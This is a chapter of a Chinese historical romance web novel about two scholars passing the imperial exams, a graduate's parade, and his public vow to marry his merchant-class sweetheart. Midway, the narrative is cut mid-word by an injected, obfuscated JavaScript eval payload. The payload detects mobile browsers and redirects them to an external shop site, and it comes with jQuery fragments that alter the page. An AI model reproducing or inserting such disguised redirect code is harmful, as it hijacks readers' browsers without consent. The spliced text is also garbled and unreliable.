放榜那日，徐家的小院差点被鞭炮炸翻了天。


    报喜的差役那一嗓子“恭喜”，喊得苏棠手里的锅铲都掉进了水缸里。


    徐竹卿，会试第三甲第一名。


    沈竹安，会试第二甲第三名。


    两份捷报并排贴在墙上，红纸黑字，透着股子逼人的喜气。


    苏棠乐得见牙不见眼，平日里那股精明算计劲儿全化作了流水般的赏钱，塞得差役怀里鼓囊囊的。


    徐青山更是嘿嘿傻笑了一整天，逢人就说自家祖坟冒的不是青烟，是祥云。


    紧接着便是殿试。


    这一回，气氛比春闱还要紧绷几分。


    那是天子脚下，御笔钦点，考的不光是文章锦绣，更是那一份在天威面前的气度与应变。


    数日后，集英殿唱名。


    消息传回巷子里的时候，整条巷子都静了一瞬，随即沸腾得像炸了锅的滚油。


    之前在巷子里住的沈家郎君竟然高中一甲第三名——探花郎！


    而一直被他们看不上的徐竹卿，名次再进，跃升至二甲第五名。


    这可是实打实的进士及第，光宗耀祖。


    ……


    三日后，御街夸官。


    汴京城万人空巷，争看状元郎。


    玉酪居三楼的雅间，窗扇大开。


    这里位置极佳，低下头便是御街最繁华的地段，不用挤在人群里吃灰，就能将那游街的盛况尽收眼底。


    徐竹筱今日特意换了身鹅黄色的衫裙，手里捏着把团扇，有一搭没一搭地摇着。


    “来了来了！筱娘你快看！”


    林杏儿激动得脸颊通红，拽着徐竹筱的袖子，半个身子都快探出窗外去了。


    远处，鼓乐声起，震得人心头发颤。


    打头的是两队金吾卫，盔甲鲜明，手持金瓜长钺，威风凛凛地开道。


    紧随其后的，便是今科的一甲三名。


    那状元郎骑在高头大马上，一身红袍，帽插宫花，生得剑眉星目，举手投足间带着股与生俱来的贵气。


    一旁的榜眼也并不逊色，眉眼间自带一段风流笑意，洒脱不羁，端的是玉树临风佳公子。


    可所有人的目光，最后都忍不住落在了第三匹马上。


    那是探花郎。


    大宋规矩，一甲前两名赐绯袍，唯有探花郎，特赐绿袍。


    无他，因为探花郎向来是最好看的那个才能当。


    沈竹安今日，穿的便是一身深绿锦袍。


    他本就生得白净，这绿色衬得他面如冠玉，唇若涂朱。


    他头戴乌纱，两鬓插着皇帝御赐的粉芍药，随着马匹的颠簸微微颤动。


    “天爷，这探花郎长得也太俊了些！”


    楼下人群里，不知是哪家的大娘忍不住赞叹出声。


    “那是徐家的女婿！咱们这一片的！”有人认了出来，语气里满是炫耀。


    徐竹筱趴在窗棂上，下巴搁在手背上，目光穿过层层叠叠的人潮，落在那人身上。


    他变了，又好像没变。


    还是那个清瘦挺拔的身影，只是如今坐在高头大马上，被万人敬仰，多了几分她从未见过的威仪。


    似乎是察觉到了那道熟悉的视线，沈竹安忽然微微侧头，向着玉酪居的方向看来。


    四目相对。


    隔着喧嚣的人海，隔着漫天的柳絮和飞舞的彩带。


    他那双总是含着几分羞涩的眸子，此刻却亮得惊人，眼底漾开一抹极淡却极暖的笑意。


    那一瞬间，徐竹筱心跳漏了半拍。


    他没躲，也没避，就这样大大方方地看着她，仿佛这万丈荣光，这满街欢呼，都不及楼上那窗边的一抹鹅黄。


    “哎哟，探花郎在看谁呢？”


    “肯定是在看咱们！”


    楼下的姑娘们顿时骚动起来，一个个把手里的手帕、香囊、鲜花，不要钱似的往他身上砸。


    沈竹安被那铺天盖地的香囊砸得有些狼狈，微微低头躲闪，却又忍不住抬眼，再次往那窗口看去。


    徐竹筱噗嗤一声笑了出来，手里团扇遮了遮脸。


    “傻子。”


    她小声嘟囔了一句。


    林杏儿还在旁边说话：“我刚刚听咱们隔壁那屋子的小娘子们说，这状元郎早就有未婚妻了，是那个什么……国公府的千金。榜眼也是早早成了亲，孩子都满地跑了。如今这三个里头，就数你们家沈探花最抢手！”


    徐竹筱挑了挑眉，没接话。


    楼下的议论声顺着风飘上来。


    “这沈探花虽是商户出身，可架不住人家长得好，又有才学，如今还是天子门生。”


    “听说好几家榜下捉婿的员外都在盯着呢，就连那些个权贵人家，怕是也有动心思的。”


    “动心思又如何？我听说沈家早就给他定了亲了。”


    “定了谁家？”


    “也是个商户女，好像是卖什么吃食的。”


    “切——”一声不屑的嗤笑格外刺耳，“区区商户女，哪里配得上如今的探花郎？只要沈探花点头，多的是高门贵女愿意下嫁，那婚约还不是说退就退？”


    “就是，飞上枝头变凤凰了，哪里还看得上以前的麻雀。”


    徐竹筱手里的团扇停了停。


    林杏儿却有些不高兴，想和他们理论一番。


    被徐竹筱劝住了。


    “嘴长在别人身上，咱们能说什么，过好自己的日子就是了。”


    何况，他们家玉哥才不是这种人呢。


    事实证明，徐竹筱没看走眼。


    那帮等着看“陈世美”戏码的人，终究是失望了。


    琼林宴上，觥筹交错。


    不少达官显贵借着敬酒的名义，话里话外都在打听沈竹安的婚事。有的暗示自家女儿知书达理，有的明言愿结秦晋之好。


    沈竹安只是一杯接一杯地喝酒，白净的脸上染了层薄红，眼神却清醒得很。


    待酒过三巡，他忽然起身，在那金碧辉煌的大殿之上，众目睽睽之下，借着酒劲，即兴赋诗一首。


    诗不长，也不华丽。


    写的是青梅竹马，写的是两小无猜。


    写的是巷子口那一碗热腾腾的馄饨，是考场前那一篮子用心良苦的干粮。


    “……糟糠之妻不下堂，贫贱之交不可忘。某虽不才，然心中已有所属，誓不负之。”


    最后这一句，他说得掷地有声。


    满座皆惊。


    那些个原本还想再说项的大人们，一个个面面相觑，最后只能尴尬地举杯，道一声“探花郎是个重情义的”。


    这消息传回巷子的时候，苏棠正在院子里晒被子。


    听完了邻居绘声绘色的转述，她愣了半晌，最后狠狠拍了一下被子，骂道：“这傻小子，当着那么多大官的面说什么死心眼的话！也不怕得罪人！”


    骂完，她转过身，背着人偷偷抹了把眼泪。


    “算他小子有良心。”


    ……


    热闹过后，便是漫长的忙碌。


    徐竹筱本以为考完了就能天天见着人，哪成想，这一中榜，两人反倒像是失踪了一样。


    沈竹安这个探花郎自不必说，要拜见主考官，要参加同年宴，还得去翰林院应卯。


    就连徐竹卿这个二甲，也是忙得脚不沾地。


    徐竹筱坐在椅子上，百无聊赖地拨弄着算盘珠子。


    “啪嗒、啪嗒。”


    “这都第五天了。”她撑着下巴，叹了口气，“连个鬼影都见不着。”


    林杏儿在一旁把核


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17213747|193160||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    桃剥得咔嚓响：“知足吧你，我听说前街那个赵秀才，考了十几年都没中，这会儿还在家里发疯呢。你哥和你……那谁，如今可是大忙人，那是去办正事的。”


    徐竹筱撇撇嘴：“我知道是正事。就是觉得……自己一个人怪无聊的。”


    正想着呢，就看见门口那儿进来了个人。


    手里提着个油纸包，风尘仆仆，却依旧掩不住那股子从骨子里透出来的温润。


    沈竹安。


    他看起来有些疲惫，眼底带着淡淡的乌青，显然是好几日没睡好觉了。


    可看到徐竹筱的那一刻，他眼睛刷地一下亮了，像是蒙尘的珠玉被擦拭干净。


    “筱娘。”


    “探花郎这是忙完了？”


    “刚从王大人那儿回来，还没回家，先……先来看看你。”


    他把手里的油纸包递过去，“路过樊楼，买了你爱吃的酥鸭，还是热的。”


    徐竹筱接过油纸包，还烫手。


    那一瞬间，心里的那点子空落落，忽然就被这温度给填满了。


    “咳。”


    旁边传来一声刻意的咳嗽。


    林杏儿抓起桌上剩下的一把核桃，眼珠子骨碌碌在两人身上转了一圈，最后落在沈竹安那张微红的俊脸上，还要什么不明白的？


    她也不剥了，直接把核桃往兜里一揣，拍拍手站起来，脸上带着促狭的笑：“哎呀，我突然想起来，我娘让我回去收衣服来着。这天看着要下雨，我先走了啊。”


    哪里有雨？


    外头艳阳高照，连片云彩都没有。


    徐竹筱还没来及挽留，林杏儿一溜烟跑没了影，临出门还极其贴心地把院门给带上了。


    “咔哒”一声轻响。


    院子里静了下来。


    只剩下面前这个长身玉立、眼神却格外粘人的探花郎。


    徐竹筱脸颊有些发烫，她把油纸包放在石桌上，嗔怪地瞪了他一眼：“还没正经上任呢，就学会拿官腔吓唬人了？瞧把杏儿吓得。”


    “我没吓她。”


    沈竹安有些委屈，他上前一步，想去拉徐竹筱的手，又怕唐突，手伸到半空，最后只是笨拙地替她打开油纸包。


    “我就是……想见你。”


    这话说得直白。


    他耳根子更红了，像是染了胭脂。


    那天琼林宴上的事情，徐竹筱早就听说了。


    徐竹筱心里甜丝丝的，嘴上却不饶人：“你也是个傻的。当着官家的面，当着那么多大人的面，就把路给堵死了。万一以后有人给你穿小鞋怎么办？”


    沈竹安低头，认真地拆着鸭骨架，将那一层烤得酥脆流油的鸭皮小心翼翼地揭下来，递到徐竹筱嘴边。


    “我不怕。”


    他声音不大，却有着一股子犟劲儿，“我若是不说清楚，那天指不定就被哪家榜下捉婿给捉走了。我是去当官的，又不是去卖身的。”


    徐竹筱咬了一口鸭皮。


    焦香酥脆，满口留香。


    “好吃。”她眯了眯眼，像只餍足的猫。


    沈竹安看着她吃，眉眼间的疲惫似乎都散去了几分，笑意温软：“好吃以后常给你买。”


    他又递过去一块鸭肉，顺势说道：“吏部的文书下来了。授了著作佐郎。”


    徐竹筱动作一顿。


    她虽不在朝堂，但这几个月也没少恶补官场知识。


    正八品。


    看着官阶不高，但这可是秘书省的职位。


    “这可是好差事。”徐竹筱眼睛亮晶晶的。


    著作佐郎，掌管国史、实录的编修，整理朝廷档案。


    虽然整日里埋首故纸堆，却能接触到最核心的机密和政令，非进士高第不授。


    这是真正的“储相”之地。